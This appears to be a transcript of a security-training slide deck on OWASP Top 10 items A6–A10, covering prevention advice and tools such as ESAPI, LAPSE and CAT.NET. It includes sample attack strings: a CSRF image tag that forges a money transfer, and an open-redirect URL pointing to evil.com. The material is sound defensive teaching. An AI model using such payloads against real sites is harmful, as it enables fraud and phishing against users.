<td>AES (&gt;=128 bit)</td>
</tr>
<tr>
<td>Asymmetric</td>
<td>RSA (&lt;1024 bit)</td>
<td>RSA (1024 to 2047 bit)</td>
<td>RSA (&gt;=2048bit)</td>
</tr>
<tr>
<td>Hash (includes HMAC usage)</td>
<td>SHA-0 (SHA), MD2, MD4, MD5</td>
<td>SHA-1</td>
<td>SHA-2 (includes: SHA-256, SHA-384, SHA-512)</td>
</tr>
<tr>
<td>HMAC Key Lengths</td>
<td>&lt;112bit</td>
<td>112bit =&lt; x &lt; 128bit</td>
<td>&gt;= 128bit</td>
</tr>
</tbody>
</table>
2. A6 - REFERENCES

• OWASP
  - For a more complete set of requirements, see ASVS req’ts on Cryptography (V7), Data Protection (V9) and Communications Security (V10)
  - OWASP Cryptographic Storage Cheat Sheet
  - OWASP Password Storage Cheat Sheet
  - OWASP Transport Layer Protection Cheat Sheet
  - OWASP Testing Guide: Chapter on SSL/TLS Testing

• External
  - CWE Entry 310 on Cryptographic Issues
  - CWE Entry 312 on Cleartext Storage of Sensitive Information
  - CWE Entry 319 on Cleartext Transmission of Sensitive Information
  - CWE Entry 326 on Weak Encryption
## 2. A7 – MISSING FUNCTION LEVEL ACCESS CONTROL

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Application Specific</strong></td>
<td><strong>Exploitability</strong> EASY</td>
<td><strong>Prevalence</strong> COMMON</td>
<td><strong>Detectability</strong> AVERAGE</td>
<td><strong>Impact</strong> MODERATE</td>
</tr>
<tr>
<td>Anyone with network access can send your application a request. Could anonymous users access private functionality or regular users a privileged function?</td>
<td>Attacker, who is an authorized system user, simply changes the URL or a parameter to a privileged function. Is access granted? Anonymous users could access private functions that aren’t protected.</td>
<td>Applications do not always protect application functions properly. Sometimes, function level protection is managed via configuration, and the system is misconfigured. Sometimes, developers must include the proper code checks, and they forget. Detecting such flaws is easy. The hardest part is identifying which pages (URLs) or functions exist to attack.</td>
<td>Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack.</td>
<td>Consider the business value of the exposed functions and the data they process. Also consider the impact to your reputation if this vulnerability became public.</td>
</tr>
</tbody>
</table>
2. A7 – AM I VULNERABLE TO ‘MISSING FUNCTION LEVEL ACCESS CONTROL’?

• The best way to find out if an application has failed to properly restrict function level access is to verify every application function:

  1. Does the UI show navigation to unauthorized functions?
  2. Are server side authentication or authorization checks missing?
  3. Are server side checks done that solely rely on information provided by the attacker?

• Using a proxy, browse your application with a privileged role. Then revisit restricted pages using a less privileged role. If the server responses are alike, you're probably vulnerable. Some testing proxies directly support this type of analysis.

• You can also check the access control implementation in the code. Try following a single privileged request through the code and verifying the authorization pattern. Then search the codebase to find where that pattern is not being followed.

• Automated tools are unlikely to find these problems.
2. A7 – HOW DO I PREVENT ‘MISSING FUNCTION LEVEL ACCESS CONTROL’?

• Your application should have a consistent and easy to analyze authorization module that is invoked from all of your business functions. Frequently, such protection is provided by one or more components external to the application code.

  1. Think about the process for managing entitlements and ensure you can update and audit easily. Don’t hard code.
  2. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function.
  3. If the function is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

• NOTE: Most web applications don’t display links and buttons to unauthorized functions, but this “presentation layer access control” doesn’t actually provide protection. You must also implement checks in the controller or business logic.
2. A7 – EXAMPLE ATTACK SCENARIOS

- **Scenario #1:** The attacker simply force browses to target URLs. The following URLs require authentication. Admin rights are also required for access to the `admin_getappInfo` page.

  http://example.com/app/getappInfo
  http://example.com/app/admin_getappInfo

  If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed to access the `admin_getappInfo` page, this is also a flaw, and may lead the attacker to more improperly protected admin pages.

- **Scenario #2:** A page provides an 'action' parameter to specify the function being invoked, and different actions require different roles. If these roles aren’t enforced, that’s a flaw.
2. A7 - REFERENCES

• OWASP
  - OWASP Top 10-2007 on Failure to Restrict URL Access
  - ESAPI Access Control API
  - OWASP Development Guide: Chapter on Authorization
  - OWASP Testing Guide: Testing for Path Traversal
  - OWASP Article on Forced Browsing
  - For additional access control requirements, see the ASVS requirements area for Access Control (V4).

• External
  - CWE Entry 285 on Improper Access Control (Authorization)
## 2. A8 – CROSS-SITE REQUEST FORGERY (CSRF)

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Application Specific</strong></td>
<td><strong>Exploitability</strong> AVERAGE</td>
<td><strong>Prevalence</strong> COMMON</td>
<td><strong>Detectability</strong> EASY</td>
<td><strong>Impact</strong> MODERATE</td>
</tr>
<tr>
<td>Consider anyone who can load content into your users’ browsers, and thus force them to submit a request to your website. Any website or other HTML feed that your users access could do this.</td>
<td>Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is <strong>authenticated</strong>, the attack succeeds.</td>
<td><strong>CSRF</strong> takes advantage of the fact that most web apps allow attackers to predict all the details of a particular action. Because browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones. Detection of CSRF flaws is fairly easy via penetration testing or code analysis.</td>
<td>Attackers can trick victims into performing any state changing operation the victim is authorized to perform, e.g., updating account details, making purchases, logout and even login.</td>
<td>Consider the business value of the affected data or application functions. Imagine not being sure if users intended to take these actions. Consider the impact to your reputation.</td>
</tr>
</tbody>
</table>
2. A8 - AM I VULNERABLE TO ‘CROSS-SITE REQUEST FORGERY (CSRF)’?

- To check whether an application is vulnerable, see if any links and forms lack an unpredictable CSRF token. Without such a token, attackers can forge malicious requests. An alternate defense is to require the user to prove they intended to submit the request, either through reauthentication, or some other proof they are a real user (e.g., a CAPTCHA).

- Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

- You should check multistep transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.

- Note that session cookies, source IP addresses, and other information automatically sent by the browser don’t provide any defense against CSRF since this information is also included in forged requests.

- OWASP’s [CSRF Tester](https://owasp.org/www-community/vulnerabilities/CSRF) tool can help generate test cases to demonstrate the dangers of CSRF flaws.
2. A8 – HOW DO I PREVENT ‘CROSS-SITE REQUEST FORGERY (CSRF)’?

• Preventing CSRF usually requires the inclusion of an unpredictable token in each HTTP request. Such tokens should, at a minimum, be unique per user session.

1. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure.

2. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. OWASP’s CSRF Guard can automatically include such tokens in Java EE, .NET, or PHP apps. OWASP’s ESAPI includes methods developers can use to prevent CSRF vulnerabilities.

3. Requiring the user to reauthenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF.
The application allows a user to submit a state changing request that does not include anything secret. For example:

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control:

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />

If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.
2. A8 - REFERENCES

• OWASP
  - OWASP CSRF Article
  - OWASP CSRF Prevention Cheat Sheet
  - OWASP CSRFGuard - CSRF Defense Tool
  - ESAPI Project Home Page
  - ESAPI HTTPUtilities Class with AntiCSRF Tokens
  - OWASP Testing Guide: Chapter on CSRF Testing
  - OWASP CSRFTester - CSRF Testing Tool

• External
  - CWE Entry 352 on CSRF
2. A9 – USING COMPONENTS WITH KNOWN VULNERABILITIES

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Application Specific</strong></td>
<td><strong>Exploitability</strong></td>
<td><strong>Prevalence</strong></td>
<td><strong>Detectability</strong></td>
<td><strong>Impact</strong></td>
</tr>
<tr>
<td>Some vulnerable components (e.g., framework libraries) can be identified and exploited with automated tools, expanding the threat agent pool beyond targeted attackers to include chaotic actors.</td>
<td>Average</td>
<td>Widespread</td>
<td>Difficult</td>
<td>Moderate</td>
</tr>
<tr>
<td>Attacker identifies a weak component through scanning or manual analysis. He customizes the exploit as needed and executes the attack. It gets more difficult if the used component is deep in the application.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
2. A9 – AM I VULNERABLE TO ‘USING COMPONENTS WITH KNOWN VULNERABILITIES’?

• In theory, it ought to be easy to figure out if you are currently using any vulnerable components or libraries. Unfortunately, vulnerability reports for commercial or open source software do not always specify exactly which versions of a component are vulnerable in a standard, searchable way. Further, not all libraries use an understandable version numbering system. Worst of all, not all vulnerabilities are reported to a central clearinghouse that is easy to search, although sites like CVE and NVD are becoming easier to search.

• Determining if you are vulnerable requires searching these databases, as well as keeping abreast of project mailing lists and announcements for anything that might be a vulnerability. If one of your components does have a vulnerability, you should carefully evaluate whether you are actually vulnerable by checking to see if your code uses the part of the component with the vulnerability and whether the flaw could result in an impact you care about.
2. A9 – HOW DO I PREVENT ‘USING COMPONENTS WITH KNOWN VULNERABILITIES’?

• One option is not to use components that you didn’t write. But that’s not very realistic.

• Most component projects do not create vulnerability patches for old versions. Instead, most simply fix the problem in the next version. So upgrading to these new versions is critical. Software projects should have a process in place to:

1. Identify all components and the versions you are using, including all dependencies. (e.g., the versions plugin).
2. Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date.
3. Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.
4. Where appropriate, consider adding security wrappers around components to disable unused functionality and/or secure weak or vulnerable aspects of the component.
2. A9 – EXAMPLE ATTACK SCENARIOS

• Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious. The following two vulnerable components were downloaded 22m times in 2011.

  - **Apache CXF Authentication Bypass** – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)
  - **Spring Remote Code Execution** – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.

• Every application using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit.
2. A9 - REFERENCES

• **OWASP**
  - OWASP Dependency Check (for Java libraries)
  - OWASP SafeNuGet (for .NET libraries thru NuGet)
  - OWASP Good Component Practices Project

• **External**
  - The Unfortunate Reality of Insecure Libraries
  - Open Source Software Security
  - Addressing Security Concerns in Open Source Components
  - MITRE Common Vulnerabilities and Exposures
  - Example Mass Assignment Vulnerability that was fixed in ActiveRecord, a Ruby on Rails GEM
## 2. A10 – UNVALIDATED REDIRECTS AND FORWARDS

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
<th>Application / Business Specific</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Application Specific</strong></td>
<td><strong>Exploitability</strong> AVERAGE</td>
<td><strong>Prevalence</strong> UNCOMMON</td>
<td><strong>Detectability</strong> EASY</td>
<td><strong>Impact</strong> MODERATE</td>
<td><strong>Consider the business value of retaining your users’ trust.</strong></td>
</tr>
<tr>
<td>Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your users use could do this.</td>
<td>Attacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. Attacker targets unsafe forward to bypass security checks.</td>
<td>Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page. Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages.</td>
<td>Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.</td>
<td>What if they get owned by malware? What if attackers can access internal only functions?</td>
<td></td>
</tr>
</tbody>
</table>
The best way to find out if an application has any unvalidated redirects or forwards is to:

- Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, if the target URL isn’t validated against a whitelist, you are vulnerable.
- Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.
- If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.
2. A10 – HOW DO I PREVENT ‘UNVALIDATED REDIRECTS AND FORWARDS’?

• Safe use of redirects and forwards can be done in a number of ways:

1. Simply avoid using redirects and forwards.
2. If used, don’t involve user parameters in calculating the destination. This can usually be done.
3. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.
   It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.
   Applications can use ESAPI to override the `sendRedirect()` method to make sure all redirect destinations are safe.

• Avoiding such flaws is extremely important as they are a favorite target of phishers trying to gain the user’s trust.
Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.

http://www.example.com/redirect.jsp?url=evil.com

Scenario #2: The application uses forwards to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forwards the attacker to administrative functionality for which the attacker isn’t authorized.

http://www.example.com/boring.jsp?fwd=admin.jsp
2. A10 - REFERENCES

• **OWASP**
  - OWASP Article on Open Redirects
  - ESAPI SecurityWrapperResponse sendRedirect() method

• **External**
  - CWE Entry 601 on Open Redirects
  - WASC Article on URL Redirector Abuse
  - Google blog article on the dangers of open redirects
  - OWASP Top 10 for .NET article on Unvalidated Redirects and Forwards
3. Secure Development
3. OWASP: SOFTWARE ASSURANCE MATURITY MODEL

https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model
3. MICROSOFT SDL

3. CAT.NET – EXPLOITABLE CODE PATHS

- Finds exploitable code paths for common threats (XSS, User Controlled Url Redirection, SQL Injection, etc.)

- Dramatically reduced false positives
  - Canary in the coal mine. For every CAT.NET bug likely 5-10 other vulnerabilities

- Does require a deterministic code path to find exploits, i.e. a call stack

3. CAT.NET DEMO

Call stack from 'entry' to 'exit' point is displayed here. For these examples both entry/exit point are on the same line of code.
3. OWASP LAPSE

• **LAPSE** stands for a **Lightweight Analysis for Program Security in Eclipse**. LAPSE is designed to help with the task of auditing Java J2EE applications for common types of security vulnerabilities found in Web applications.

• LAPSE targets the following Web application vulnerabilities:
  
  - Parameter manipulation
  - Header manipulation
  - Cookie poisoning
  - Command-line parameters
  - SQL injections
  - Cross-site scripting
  - HTTP splitting
  - Path traversal

• Version 2.7.0 download from: [http://suif.stanford.edu/~livshits/work/lapse/download.html](http://suif.stanford.edu/~livshits/work/lapse/download.html)
3. OWASP LAPSE DEMO
3. ANTI-XSS

- Anti-XSS takes a white list approach
  - Encodes everything but known “safe” characters

- The purpose of encoding is to render possible “executable characters” into string literals

3. ANTI-XSS DEMO

- Don’t encode streams of HTML
- Encode user controlled data
- Different encoding contexts:
  - URLs;
  - HTML attributes `<img src="encode me"`
  - Raw Text

```csharp
Thats As Bold Statement (1)
<b>Thats a Bold Statement (2)</b>
Thats a Bold Statement (3)

 Response.Write(HttpUtility.HtmlEncode("<b>Thats a Bold Statement (2)</b>"))
 Response.Write("</p>
 Response.Write("<b>" + HttpUtility.HtmlEncode("Thats a Bold Statement (3)") + "</b>")
 Response.Write("</p>"
```
3. OWASP ESAPI

- OWASP Enterprise Security API is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.

- Languages:
  - Java
  - .NET
  - Classic ASP
  - PHP
  - ColdFusion
  - Python
  - JavaScript
  - Objective-C
  - Ruby
  - C/C++
  - Perl

## 3. OWASP TOP TEN & ESAPI

### OWASP Top Ten Coverage

<table>
<thead>
<tr>
<th>OWASP Top Ten</th>
<th>OWASP ESAPI</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1. Cross Site Scripting (XSS)</td>
<td>Validator, Encoder</td>
</tr>
<tr>
<td>A2. Injection Flaws</td>
<td>Encoder</td>
</tr>
<tr>
<td>A3. Malicious File Execution</td>
<td>HTTPUtilities (upload)</td>
</tr>
<tr>
<td>A4. Insecure Direct Object Reference</td>
<td>AccessReferenceMap</td>
</tr>
<tr>
<td>A5. Cross Site Request Forgery (CSRF)</td>
<td>User (csrftoken)</td>
</tr>
<tr>
<td>A6. Leakage and Improper Error Handling</td>
<td>EnterpriseSecurityException, HTTPUtils</td>
</tr>
<tr>
<td>A7. Broken Authentication and Sessions</td>
<td>Authenticator, User, HTTPUtils</td>
</tr>
<tr>
<td>A8. Insecure Cryptographic Storage</td>
<td>Encryptor</td>
</tr>
<tr>
<td>A9. Insecure Communications</td>
<td>HTTPUtilities (secure cookie, channel)</td>
</tr>
<tr>
<td>A10. Failure to Restrict URL Access</td>
<td>AccessController</td>
</tr>
</tbody>
</table>
import org.owasp.esapi.ESAPI;
import org.owasp.esapi.Validator;

public class HelloWorldTest extends TestCase
{
    public static Test suite()
    {
        return new TestSuite(HelloWorldTest.class);
    }

    public HelloWorldTest(String testName)
    {
        super(testName);
    }

    protected void setUp() throws Exception
    {
        // none
    }

    protected void tearDown() throws Exception
    {
        // none
    }

    public void testIsValidEmail()
    {
        Validator instance = ESAPI.validator();
        assertTrue(instance.isValidInput("test", "jeff.williams@aspectsecurity.com", "Email", 100, false));
    }
}
## 3. NEXT STEPS

<table>
<thead>
<tr>
<th>Application Security Requirements</th>
</tr>
</thead>
<tbody>
<tr>
<td>• To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the OWASP <a href="https://projects.owasp.org/index.php/Application_Security_Verification_Standard">Application Security Verification Standard (ASVS)</a>, as a guide for setting the security requirements for your application(s). If you’re outsourcing, consider the <a href="https://projects.owasp.org/index.php/SSCA">OWASP Secure Software Contract Annex</a>.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Application Security Architecture</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Rather than retrofitting security into your applications, it is far more cost effective to design the security in from the start. OWASP recommends the <a href="https://projects.owasp.org/index.php/OWASP_Developer%27s_Guide">OWASP Developer’s Guide</a> and the <a href="https://projects.owasp.org/index.php/OWASP_Prevention_Cheat_Sheets">OWASP Prevention Cheat Sheets</a> as good starting points for guidance on how to design security in from the beginning.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Standard Security Controls</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Secure Development Lifecycle</th>
</tr>
</thead>
<tbody>
<tr>
<td>• To improve the process your organization follows when building such applications, OWASP recommends the <a href="https://www.owasp.org/index.php/OWASP_Software_Assurance_Maturity_Model">OWASP Software Assurance Maturity Model (SAMM)</a>. This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Application Security Education</th>
</tr>
</thead>
<tbody>
<tr>
<td>• The <a href="https://education.owasp.org/">OWASP Education Project</a> provides training materials to help educate developers on web application security and has compiled a large list of <a href="https://education.owasp.org/">OWASP Educational Presentations</a>. For hands-on learning about vulnerabilities, try <a href="https://www.owasp.org/index.php/OWASP_WebGoat">OWASP WebGoat</a>, <a href="https://www.owasp.org/index.php/OWASP_WebGoat.NET">WebGoat.NET</a>, or the <a href="https://projects.owasp.org/index.php/OWASP_Broken_Web_Applications_Project">OWASP Broken Web Applications Project</a>. To stay current, come to an <a href="https://www.owasp.org/index.php/OWASP_AppSec_Conference">OWASP AppSec Conference</a>, OWASP Conference Training, or local <a href="https://community.owasp.org/wiki/Chapter_Meetings">OWASP Chapter meetings</a>.</td>
</tr>
</tbody>
</table>
4. Q&A

- Thanks!

- @simonroses / @vulnexsl